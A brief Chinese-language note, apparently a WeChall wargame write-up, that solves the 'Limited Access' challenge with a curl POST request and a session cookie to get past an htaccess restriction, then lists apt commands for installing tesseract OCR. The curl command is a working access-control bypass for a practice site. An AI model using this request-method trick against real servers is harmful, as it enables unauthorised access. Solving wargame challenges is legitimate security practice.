Limited Access

说穿了就很简单，学一下curl post用法
http://www.wechall.net/challenge/wannabe7331/limited_access/index.php?show=htaccess

curl -o index.html -d "user=htpasswd" --cookie "WC=10813202-36365-7vglY8H4noZkwvLg" http://www.wechall.net/challenge/wannabe7331/limited_access/protected/protected.php

python包，pytesseract
本来以为pip install pytesseract，就可以了
但是，脚本报了一个错，说not found

还需要下载

sudo apt update
sudo apt install tesseract-ocr
sudo apt install libtesseract-dev

编写脚本，识别成功以后，添加自动获取模块。
